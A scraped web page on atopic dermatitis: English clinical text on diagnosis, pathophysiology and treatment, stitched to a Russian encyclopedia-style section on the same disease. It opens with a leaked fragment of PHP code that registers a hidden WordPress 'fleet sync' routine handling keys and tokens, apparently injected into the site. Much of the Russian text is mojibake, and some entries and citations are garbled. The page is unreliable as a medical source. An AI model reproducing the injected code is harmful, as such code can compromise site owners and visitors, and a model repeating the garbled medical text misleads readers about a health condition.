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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Atopic dermatitis

Atopic dermatitis

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Practice Essentials

Atopic dermatitis (AD) is a chronic, pruritic inflammatory skin disease (see image below) of unknown origin that usually starts in early infancy, but also affects a substantial number of adults. AD is commonly associated with elevated levels of immunoglobulin E (IgE). That it is the first disease to present in a series of allergic diseasesβ€”including food allergy, asthma, and allergic rhinitis, in orderβ€”has given rise to the “atopic march” theory, which suggests that AD is part of a progression that may lead to subsequent allergic disease at other epithelial barrier surfaces. [1, 2]

See All About Allergies: Be Ready for Spring, a Critical Images slideshow, to help identify a variety of allergens and symptoms.

Signs and symptoms

Incessant pruritus is the only symptom of AD. The disease typically has an intermittent course with flares and remissions occurring, often for unexplained reasons.

Primary physical findings include the following:

The eczematous changes and its morphology are seen in different locations, depending on the age of the patient (ie, infant, child, or adult).

The following is a constellation of symptoms and features commonly seen in AD:

Early age of onset

Chronic and relapsing course

Staphylococcus aureus superinfection

Personal history of asthma or hay fever or a history of atopic diseases in a first-degree relative

Diagnosis

The following features should be considered in the diagnosis of AD in accordance with the American Academy of Dermatology (AAD) 2014 Guidelines [3] :

Essential features (must be present) are as follows:

Important features (supports the diagnosis) are as follows:

Early age of onset

Atopy: (1) Personal and/or family history; (2) IgE reactivity

Associated features (nonspecific but suggest the diagnosis of AD) are as follows:

Atypical vascular responses (eg, facial pallor, delayed blanch response)

Keratosis pilaris/pityriasis alba/hyperlinear palms/ichthyosis

Other regional findings (eg, perioral changes/periauricular lesions)

Exclusionary conditions (conditions that should be excluded) are as follows:

Additional considerations in the diagnosis of AD are as follows:

No reliable biomarker exists for the diagnosis of AD

Laboratory testing is seldom necessary but a complete blood cell count can be useful to exclude immune deficiency; an IgE level can be helpful to confirm an atopic pattern; a swab of skin can be helpful to identify S aureus superinfection

Allergy and radioallergosorbent testing is of little value

Biopsy shows an acute, subacute, or chronic spongiotic dermatitis pattern that is nonspecific but can be helpful to rule out other conditions (eg, cutaneous T-cell lymphoma)

See Workup for more detail.

Management

Agents typically used to treat AD include the following:

Moisturizers: Petrolatum, Aquaphor, or newer agents such as Atopiclair and Mimyx

Topical steroids (current mainstay of treatment; commonly used in conjunction with moisturizers): Hydrocortisone, triamcinolone, or betamethasone; ointment bases are generally preferred, particularly in dry environments

Broad immunomodulators: Tacrolimus and pimecrolimus (calcineurin inhibitors; generally considered second-line therapy)

Targeted biologic therapies: Dupilumab (anti-IL-4Ra monoclonal antibody)

Other treatments that have been tried include the following:

Ultraviolet (UV)-A, UV-B, a combination of both, psoralen plus UV-A (PUVA), or UV-B1 (narrow-band UV-B) therapy

In severe disease, methotrexate, azathioprine, cyclosporine, and mycophenolate mofetil [4]

Antibiotics for clinical infection caused by S aureus or flares of disease [7]

Intranasal mupirocin ointment and diluted bleach (sodium hypochlorite) baths

Nonmedical measures that may be helpful include the following:

Using soft clothing (eg, cotton) next to the skin; wool products should be avoided

Maintaining mild temperatures, particularly at night

Using a humidifier (cool mist) in both winter and summer

Washing clothes in a mild detergent, with no bleach or fabric softener

Avoiding specific foods as appropriate if there is concomitant food allergy

See Treatment and Medication for more detail.

Background

Atopic dermatitis (AD) is a pruritic disease of unknown origin that usually starts in early infancy (an adult-onset variant is recognized); it is characterized by pruritus, eczematous lesions, xerosis (dry skin), and lichenification (thickening of the skin and an increase in skin markings).

AD may be associated with other atopic (immunoglobulin E [IgE]–associated) diseases (eg, acute allergic reaction to foods, asthma, urticaria, and allergic rhinitis). [8] AD has enormous morbidity, and the incidence and prevalence appear to be increasing. Further, AD is the first disease to present in a series of allergic diseases such as food allergy, asthma, and allergic rhinitis (in order), provoking the “atopic march” theory, which suggests that early or severe AD and cutaneous sensitization to environmental allergens may lead to subsequent allergic disease at other epithelial barrier surfaces (eg, gastrointestinal or respiratory tract). This hypothesis is supported by cross-sectional and longitudinal studies. [1]

Pathophysiology

Despite recent advances in the understanding of the genetics of atopic dermatitis (AD), the pathophysiology remains poorly defined. Two main hypotheses have been proposed regarding the development of inflammation that leads to AD. The first suggests a primary immune dysfunction resulting in IgE sensitization, allergic inflammation, and a secondary epithelial barrier disturbance. The second proposes a primary defect in the epithelial barrier leading to secondary immunologic dysregulation and resulting in inflammation.

Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅:  ΠŸΠΎΠ»ΠΎΡΡ‹ Π½Π° ΠΊΠΎΠΆΠ΅ Ρ‡Π΅ΡˆΡƒΡ‚ΡΡ

In healthy individuals, balance exists between important subsets of T cells (eg, Th1, Th2, Th17, Th22). The primary immune dysfunction hypothesis invokes an imbalance in the T cell subsets, with Th2 cells predominating; this results in the production of type 2 cytokines such as interleukin (IL)–4, IL-5, and IL-13, causing an increase in IgE from plasma cells. Later, in persons with chronic AD, the Th1 cells have been shown to predominate. More recently, Th17 cells have been found to be elevated in patients with AD. [9] Although primarily considered a Th2 cellβ€’associated cytokine-mediated disease, the precise contributions of Th1 and Th17 cell responses remain to be fully defined.

In addition to the role of T and B cells in AD, other innate immune cells have also been implicated in the pathogenesis of AD, including eosinophils and mast cells. [10, 11] More recently, basophils and newly identified innate immune cells called group 2 innate lymphoid cells (ILC2s) have been shown to underlie the pathogenesis of AD. [12, 13, 14, 15, 16] Together, basophils and ILC2s are critical sources of the type 2 cytokines IL-4, IL-5, and IL-13. [12, 13] Further, these cells appear to be potently regulated by a family of epithelial cellβ€’derived cytokines directly released from damaged keratinocytes, including thymic stromal lymphopoietin (TSLP), IL-25, and IL-33. [17] Taken together, these studies highlight a new paradigm in which, in addition to classical adaptive Th2 cells, innate type 2 immune cells play critical roles in the etiology of AD through interactions with epidermal-derived cytokines.

In terms of AD-associated itch, Th2 cells are known to be significant sources of the itch-inducing cytokine or pruritogen IL-31. [18] Emerging clinical trials data indicate that blocking this pathway may be a key mechanism by which atopic itch can be treated clinically. Additionally, a 2017 study identified that neuronal, rather than immune, signaling of the type 2 cytokines IL-4 and IL-13 critically regulate AD-associated itch. [19] Indeed, the dual IL-4 and IL-13 blocker, dupilumab, has emerged as a highly effective treatment for AD, which received FDA approval in March of 2017. Thus, blocking cytokine-nerve interactions with targeted biologic therapies has emerged as a novel therapeutic strategy in AD.

The epidermal barrier dysfunction hypothesis suggests that AD patients develop AD as a result of skin barrier defects that allow for the entry of antigens, resulting in the production of inflammatory cytokines. Some authors question whether such antigens can also be absorbed from the gut (eg, from food) and/or the lungs (eg, from house dust mites). Xerosis and ichthyosis are known to be associated signs in many AD patients. Clinically, 37-50% of people with ichthyosis vulgaris have atopic disease and up to 37% of people with AD have clinical evidence of ichthyosis vulgaris. Mutations in the gene encoding filaggrin, a key epidermal barrier protein, cause ichthyosis vulgaris and are the strongest known genetic risk factors for the development of AD. [20, 21]

Further, filaggrin mutations are associated with early-onset AD and with airway disease in the setting of AD. [22] One mechanism by which filaggrin defects may influence inflammation is by the release of epithelial cellβ€’derived cytokines, including TSLP, IL-25, and IL-33, which are all known to be up-regulated in the context of AD. [23, 24, 25, 26] TSLP has been shown to be a potent promoter of basophil and ILC2 responses in the skin, while IL-25 and IL-33 preferentially elicit ILC2s. [12, 13, 16] Although filaggrin is strongly linked to AD, mutations are only found in 30% of European patients, begging the question of whether other genetic variants may also be responsible for some of the findings in the pathogenesis of AD. Indeed, genetic variants of TSLP have been shown to interact with mutations in filaggrin to influence AD disease persistence in patients. [27]

In AD, transepidermal water loss is increased. Whether the primary immune dysregulation causes secondary epithelial barrier breakdown or primary epithelial barrier breakdown causes secondary immune dysregulation that results in disease remains unknown. However, given the fact that filaggrin is critical for epithelial integrity, it is now thought that loss of filaggrin function leads to increased transepidermal penetration of environmental allergens, increasing inflammation and sensitivity and potentially leading to the atopic march. [28]

АтопичСский Π΄Π΅Ρ€ΠΌΠ°Ρ‚ΠΈΡ‚

АтопичСский Π΄Π΅Ρ€ΠΌΠ°Ρ‚ΠΈΡ‚ Ρƒ Ρ€Π΅Π±Ρ‘Π½ΠΊΠ°
ΠœΠšΠ‘-10 L 20 20.
ΠœΠšΠ‘-9 691.8 691.8
OMIM 603165
DiseasesDB 4113
MedlinePlus 000853
eMedicine emerg/130 derm/38 derm/38 ped/2567 ped/2567 oph/479 oph/479
MeSH D003876

АтопичСский Π΄Π΅Ρ€ΠΌΠ°Ρ‚ΠΈΡ‚ (АтД, атопичСская экзСма, синдром атопичСской экзСмы/Π΄Π΅Ρ€ΠΌΠ°Ρ‚ΠΈΡ‚Π° [1] ) β€” хроничСский аллСргичСский Π΄Π΅Ρ€ΠΌΠ°Ρ‚ΠΈΡ‚; Π·Π°Π±ΠΎΠ»Π΅Π²Π°Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ развиваСтся Ρƒ Π»ΠΈΡ† с гСнСтичСской ΠΏΡ€Π΅Π΄Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒΡŽ ΠΊ Π°Ρ‚ΠΎΠΏΠΈΠΈ, ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π΅Ρ†ΠΈΠ΄ΠΈΠ²ΠΈΡ€ΡƒΡŽΡ‰Π΅Π΅ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅, возрастныС особСнности клиничСских проявлСний. Π₯арактСризуСтся экссудативными ΠΈ (ΠΈΠ»ΠΈ) Π»ΠΈΡ…Π΅Π½ΠΎΠΈΠ΄Π½Ρ‹ΠΌΠΈ высыпаниями, ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΠ΅ΠΌ уровня сывороточного IgE ΠΈ Π³ΠΈΠΏΠ΅Ρ€Ρ‡ΡƒΠ²ΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ ΠΊ спСцифичСским (Π°Π»Π»Π΅Ρ€Π³Π΅Π½Π½Ρ‹ΠΌ) ΠΈ нСспСцифичСским раздраТитСлям. Π˜ΠΌΠ΅Π΅Ρ‚ Ρ‡Ρ‘Ρ‚ΠΊΡƒΡŽ ΡΠ΅Π·ΠΎΠ½Π½ΡƒΡŽ Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ‚ΡŒ: Π·ΠΈΠΌΠΎΠΉ β€” обострСния ΠΈΠ»ΠΈ Ρ€Π΅Ρ†ΠΈΠ΄ΠΈΠ²Ρ‹, Π»Π΅Ρ‚ΠΎΠΌ β€” частичныС ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π½Ρ‹Π΅ рСмиссии.

Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅:  Π‘Π΅Π»ΠΎΠ΅ пятно Π½Π° Ρ„ΠΎΡ‚ΠΎΠ³Ρ€Π°Ρ„ΠΈΠΈ Ρ‡Ρ‚ΠΎ это Ρ‚Π°ΠΊΠΎΠ΅

Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅

ЭпидСмиология

Π Π°ΡΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½Ρ‘Π½Π½ΠΎΡΡ‚ΡŒ АтД срСди Ρ€Π°Π·Π²ΠΈΡ‚Ρ‹Ρ… стран 10-20 %. ΠœΠ°Π½ΠΈΡ„Π΅ΡΡ‚Π°Ρ†ΠΈΡ симптомов АтД Ρƒ Π΄Π΅Ρ‚Π΅ΠΉ отмСчаСтся Π² возрастС 6 мСсяцСв Π² 60 % случаСв, Π΄ΠΎ 1 Π³ΠΎΠ΄Π° Π² 75 %, Π΄ΠΎ 7 Π»Π΅Ρ‚ Π² 80-90 %. Π’ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ послСдних дСсятилСтий Π½Π°Π±Π»ΡŽΠ΄Π°Π΅Ρ‚ΡΡ сущСствСнный рост заболСваСмости АтД, услоТняСтся Π΅Π³ΠΎ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅, отягощаСтся исход. Π’ XX Π²Π΅ΠΊΠ΅ Π±Ρ‹Π»Π° ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½Π° связь АтД, ΠΏΠΎΠ»Π»ΠΈΠ½ΠΎΠ·Π° ΠΈ Π±Ρ€ΠΎΠ½Ρ…ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ астмы, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡ΠΈΠ»ΠΈ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠΌ «Π°Ρ‚опичСская Ρ‚Ρ€ΠΈΠ°Π΄Π°». [2] . Π‘ΠΎΡ‡Π΅Ρ‚Π°Π½ΠΈΠ΅ АтД с Π±Ρ€ΠΎΠ½Ρ…ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ астмой Π½Π°Π±Π»ΡŽΠ΄Π°Π΅Ρ‚ΡΡ Π² 34 % случаСв, с аллСргичСским Ρ€ΠΈΠ½ΠΈΡ‚ΠΎΠΌ β€” Π² 25 %, с ΠΏΠΎΠ»Π»ΠΈΠ½ΠΎΠ·ΠΎΠΌ β€” Π² 8 %. АтД ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΄Π΅Π±ΡŽΡ‚ΠΎΠΌ «Π°Π»Π»Π΅Ρ€Π³ΠΈΡ‡Π΅ΡΠΊΠΎΠ³ΠΎ ΠΌΠ°Ρ€ΡˆΠ°», ΠΊΠΎΠ³Π΄Π° Π² дальнСйшСм Ρƒ Ρ‚Π°ΠΊΠΈΡ… ΠΏΠ°Ρ†ΠΈΠ΅Π½Ρ‚ΠΎΠ² Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ атопичСскиС заболСвания: пищСвая аллСргия, Π±Ρ€ΠΎΠ½Ρ…ΠΈΠ°Π»ΡŒΠ½Π°Ρ астма, аллСргичСский Ρ€ΠΈΠ½ΠΈΡ‚. АтД, связанный с ΠΏΠΈΡ‰Π΅Π²ΠΎΠΉ Π°Π»Π»Π΅Ρ€Π³ΠΈΠ΅ΠΉ, ускоряСт прогрСссированиС «Π°Π»Π»Π΅Ρ€Π³ΠΈΡ‡Π΅ΡΠΊΠΎΠ³ΠΎ ΠΌΠ°Ρ€ΡˆΠ°».

Π€Π°ΠΊΡ‚ΠΎΡ€Ρ‹ риска развития атопичСского Π΄Π΅Ρ€ΠΌΠ°Ρ‚ΠΈΡ‚Π°

ВСдущая Ρ€ΠΎΠ»ΡŒ Π² Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠΈ АтД ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ эндогСнным Ρ„Π°ΠΊΡ‚ΠΎΡ€Π°ΠΌ (Π½Π°ΡΠ»Π΅Π΄ΡΡ‚Π²Π΅Π½Π½ΠΎΡΡ‚ΡŒ, атопия, Π³ΠΈΠΏΠ΅Ρ€Ρ€Π΅Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ ΠΊΠΎΠΆΠΈ, Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΈ биохимичСских процСссов Π² ΠΊΠΎΠΆΠ΅), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π² сочСтании с Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ Π°Π»Π»Π΅Ρ€Π³Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΈ Π½Π΅Π°Π»Π΅Ρ€Π³Π΅Π½Π½Ρ‹ΠΌΠΈ экзогСнными Ρ„Π°ΠΊΡ‚ΠΎΡ€Π°ΠΌΠΈ (ΠΏΡΠΈΡ…ΠΎΡΠΌΠΎΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, Ρ‚Π°Π±Π°Ρ‡Π½Ρ‹ΠΉ Π΄Ρ‹ΠΌ) приводят ΠΊ Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΡŽ клиничСской ΠΊΠ°Ρ€Ρ‚ΠΈΠ½Ρ‹ АтД. Π’ основС развития АтД Π»Π΅ΠΆΠΈΡ‚ гСнСтичСски опрСдСлённая (ΠΌΡƒΠ»ΡŒΡ‚ΠΈΡ„Π°ΠΊΡ‚ΠΎΡ€ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΠ»ΠΈΠ³Π΅Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ наслСдования) ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΡŒ ΠΈΠΌΠΌΡƒΠ½Π½ΠΎΠ³ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π° Π½Π° поступлСниС Π°Π»Π»Π΅Ρ€Π³Π΅Π½ΠΎΠ². Π₯Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€Π½Ρ‹Π΅ Ρ‡Π΅Ρ€Ρ‚Ρ‹ ΠΈΠΌΠΌΡƒΠ½Π½ΠΎΠ³ΠΎ ΠΎΡ‚Π²Π΅Ρ‚Π° Π°Ρ‚ΠΎΠΏΠΈΠΊΠΎΠ²: ΠΏΡ€Π΅ΠΎΠ±Π»Π°Π΄Π°Π½ΠΈΠ΅ Π’-Ρ…Π΅Π»ΠΏΠ΅Ρ€ΠΎΠ² II, гипСрпродукция ΠΎΠ±Ρ‰Π΅Π³ΠΎ IgE ΠΈ спСцифичСских IgE-Π°Π½Ρ‚ΠΈΡ‚Π΅Π». Π‘ΠΊΠ»ΠΎΠ½Π½ΠΎΡΡ‚ΡŒ ΠΊ гипСррСактивности ΠΊΠΎΠΆΠΈ β€” основной Ρ„Π°ΠΊΡ‚ΠΎΡ€, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ атопичСской Π±ΠΎΠ»Π΅Π·Π½ΠΈ Π² Π²ΠΈΠ΄Π΅ АтД. Риск развития АтД Ρƒ Π΄Π΅Ρ‚Π΅ΠΉ Π²Ρ‹ΡˆΠ΅ Π² ΡΠ΅ΠΌΡŒΡΡ…, Π³Π΄Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ аллСргичСскиС заболСвания ΠΈΠ»ΠΈ Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ: Ссли ΠΎΠ±Π° родитСля Π·Π΄ΠΎΡ€ΠΎΠ²Ρ‹, риск развития Ρƒ Ρ€Π΅Π±Ρ‘Π½ΠΊΠ° АтД составляСт 10-20 %, Ссли Π±ΠΎΠ»Π΅Π½ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΉ β€” 40-50 %, Ссли Π±ΠΎΠ»ΡŒΠ½Ρ‹ ΠΎΠ±Π° родитСля β€” 60β€”80 %.

ΠšΠ»Π°ΡΡΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡ

Π‘Ρ‚Π°Π΄ΠΈΠΈ развития, ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Ρ‹ ΠΈ Ρ„Π°Π·Ρ‹ заболСвания

  • ΠΠ°Ρ‡Π°Π»ΡŒΠ½Π°Ρ стадия
  • Бтадия Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹Ρ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ
  • ΠžΡΡ‚Ρ€Π°Ρ Ρ„Π°Π·Π°
  • Π₯роничСская Ρ„Π°Π·Π°
  • ΠŸΠΎΠ΄ΠΎΡΡ‚Ρ€Π°Ρ Ρ„Π°Π·Π°
  • Бтадия рСмиссии
    • Полная рСмиссия
    • НСполная рСмиссия
    • ΠšΠ»ΠΈΠ½ΠΈΡ‡Π΅ΡΠΊΠΎΠ΅ Π²Ρ‹Π·Π΄ΠΎΡ€ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ ΠΏΠΎΠ»Π½ΠΎΠ΅
    • ΠšΠ»ΠΈΠ½ΠΈΡ‡Π΅ΡΠΊΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΡ‹ Π² зависимости ΠΎΡ‚ возраста [1]

      • ΠœΠ»Π°Π΄Π΅Π½Ρ‡Π΅ΡΠΊΠ°Ρ (ΠΎΡ‚ 1 мСсяца Π΄ΠΎ 2-Ρ… Π»Π΅Ρ‚);
      • ДСтская (с 2 Π΄ΠΎ 13 Π»Π΅Ρ‚);
      • ΠŸΠΎΠ΄Ρ€ΠΎΡΡ‚ΠΊΠΎΠ²Π°Ρ (ΡΡ‚Π°Ρ€ΡˆΠ΅ 13 Π»Π΅Ρ‚);

      По тяТСсти

      • БрСднСтяТСлоС
      • ВяТСлоС

      Клинико-этиологичСскиС Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹

      • Π‘ ΠΏΡ€Π΅ΠΎΠ±Π»Π°Π΄Π°Π½ΠΈΠ΅ΠΌ Π°Π»Π»Π΅Ρ€Π³ΠΈΠΈ:
      • ΠŸΠΈΡ‰Π΅Π²ΠΎΠΉ
      • ΠšΠ»Π΅Ρ‰Π΅Π²ΠΎΠΉ
      • Π“Ρ€ΠΈΠ±ΠΊΠΎΠ²Ρ‹ΠΉ
      • ΠŸΡ‹Π»ΡŒΡ†Π΅Π²ΠΎΠΉ ΠΈ ΠΏΡ€.
    • Π‘ΠΎ Π²Ρ‚ΠΎΡ€ΠΈΡ‡Π½Ρ‹ΠΌ ΠΈΠ½Ρ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ.
    • ОслоТнСния

      • ΠŸΠΈΠΎΠ΄Π΅Ρ€ΠΌΠΈΡ
      • Вирусная инфСкция
      • Π“Ρ€ΠΈΠ±ΠΊΠΎΠ²ΠΎΠ΅ ΠΏΠΎΡ€Π°ΠΆΠ΅Π½ΠΈΠ΅

      ΠšΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ, примСняСмыС для диагностики атопичСского Π΄Π΅Ρ€ΠΌΠ°Ρ‚ΠΈΡ‚Π°

      (Hanifin, Rajka. Acta Derm. 92^44,1980)

      Π‘ΠΎΠ»ΡŒΡˆΠΈΠ΅ (ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅) ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ диагностики

      • ΠŸΡ€ΡƒΡ€ΠΈΠ³ΠΎ (Π·ΡƒΠ΄) ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ Π΄Π°ΠΆΠ΅ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… проявлСний Π½Π° ΠΊΠΎΠΆΠ΅
      • Випичная морфология ΠΈ локализация (Π»ΠΈΡ†ΠΎ, шСя, ΠΏΠΎΠ΄ΠΌΡ‹ΡˆΠ΅Ρ‡Π½Ρ‹Π΅ Π²ΠΏΠ°Π΄ΠΈΠ½Ρ‹, Π»ΠΎΠΊΡ‚Π΅Π²Ρ‹Π΅ ΠΈ ΠΏΠΎΠ΄ΠΊΠΎΠ»Π΅Π½Π½Ρ‹Π΅ ямки, паховая ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, волосистая Ρ‡Π°ΡΡ‚ΡŒ Π³ΠΎΠ»ΠΎΠ²Ρ‹, ΠΏΠΎΠ΄ ΠΌΠΎΡ‡ΠΊΠ°ΠΌΠΈ ΡƒΡˆΠ΅ΠΉ)
      • Π˜Π½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Π°Ρ ΠΈΠ»ΠΈ сСмСйная история атопичСского заболСвания
      • Π₯роничСскоС Ρ€Π΅Ρ†ΠΈΠ΄ΠΈΠ²ΠΈΡ€ΡƒΡŽΡ‰Π΅Π΅ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅

      ΠœΠ°Π»Ρ‹Π΅ (Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅) ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠΈ диагностики

      • ΠŸΠΎΠ²Ρ‹ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΎΠ±Ρ‰Π΅Π³ΠΎ ΠΈ спСцифичСских IgE-Π°Π½Ρ‚ΠΈΡ‚Π΅Π»
      • Начало заболСвания Π² Ρ€Π°Π½Π½Π΅ΠΌ дСтском возрастС (Π΄ΠΎ 2-Ρ… Π»Π΅Ρ‚)
      • Π“ΠΈΠΏΠ΅Ρ€Π»ΠΈΠ½Π΅Π°Ρ€Π½ΠΎΡΡ‚ΡŒ Π»Π°Π΄ΠΎΠ½Π΅ΠΉ («ΡΠΊΠ»Π°Π΄Ρ‡Π°Ρ‚Ρ‹Π΅») ΠΈ подошв
      • Pityriasis alba (бСлСсоватыС пятна Π½Π° ΠΊΠΎΠΆΠ΅ Π»ΠΈΡ†Π°, ΠΏΠ»Π΅Ρ‡Π΅Π²ΠΎΠ³ΠΎ пояса)
      • Ѐолликулярный Π³ΠΈΠΏΠ΅Ρ€ΠΊΠ΅Ρ€Π°Ρ‚ΠΎΠ· («Ρ€ΠΎΠ³ΠΎΠ²Ρ‹Π΅» ΠΏΠ°ΠΏΡƒΠ»Ρ‹ Π½Π° Π±ΠΎΠΊΠΎΠ²Ρ‹Ρ… повСрхностях ΠΏΠ»Π΅Ρ‡, ΠΏΡ€Π΅Π΄ΠΏΠ»Π΅Ρ‡ΠΈΠΉ, Π»ΠΎΠΊΡ‚Π΅ΠΉ)
      • Π¨Π΅Π»ΡƒΡˆΠ΅Π½ΠΈΠ΅, ксСроз, ΠΈΡ…Ρ‚ΠΈΠΎΠ·
      • НСспСцифичСскиС Π΄Π΅Ρ€ΠΌΠ°Ρ‚ΠΈΡ‚Ρ‹ Ρ€ΡƒΠΊ ΠΈ Π½ΠΎΠ³
      • ЧастыС ΠΈΠ½Ρ„Π΅ΠΊΡ†ΠΈΠΎΠ½Π½Ρ‹Π΅ пораТСния ΠΊΠΎΠΆΠΈ (стафилококковой, Π³Ρ€ΠΈΠ±ΠΊΠΎΠ²ΠΎΠΉ, гСрпСтичСской ΠΏΡ€ΠΈΡ€ΠΎΠ΄Ρ‹)
      • Π‘Π΅Π»Ρ‹ΠΉ Π΄Π΅Ρ€ΠΌΠΎΠ³Ρ€Π°Ρ„ΠΈΠ·ΠΌ
      • Π—ΡƒΠ΄ ΠΏΡ€ΠΈ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½Π½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΎΡ‚Π΄Π΅Π»Π΅Π½ΠΈΠΈ
      • Π‘ΠΊΠ»Π°Π΄ΠΊΠΈ Π½Π° ΠΏΠ΅Ρ€Π΅Π΄Π½Π΅ΠΉ повСрхности шСи
      • Π’Ρ‘ΠΌΠ½Ρ‹Π΅ ΠΊΡ€ΡƒΠ³ΠΈ Π²ΠΎΠΊΡ€ΡƒΠ³ Π³Π»Π°Π· (аллСргичСскоС сияниС)
      • Π¨Π΅Π»ΡƒΡˆΠ΅Π½ΠΈΠ΅, покраснСниС, Π·ΡƒΠ΄ послС принятия Π²Π°Π½Π½ (Π½Π°Π±Π»ΡŽΠ΄Π°Π΅Ρ‚ΡΡ Ρƒ Π΄Π΅Ρ‚Π΅ΠΉ Π΄ΠΎ 2Ρ… Π»Π΅Ρ‚).

      Для постановки Π΄ΠΈΠ°Π³Π½ΠΎΠ·Π° АтД Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ сочСтаниС Ρ‚Ρ€Ρ‘Ρ… Π±ΠΎΠ»ΡŒΡˆΠΈΡ… ΠΈ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Ρ‚Ρ€Ρ‘Ρ… ΠΌΠ°Π»Ρ‹Ρ… ΠΊΡ€ΠΈΡ‚Π΅Ρ€ΠΈΠ΅Π².

      ΠœΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ развития атопичСского Π΄Π΅Ρ€ΠΌΠ°Ρ‚ΠΈΡ‚Π°

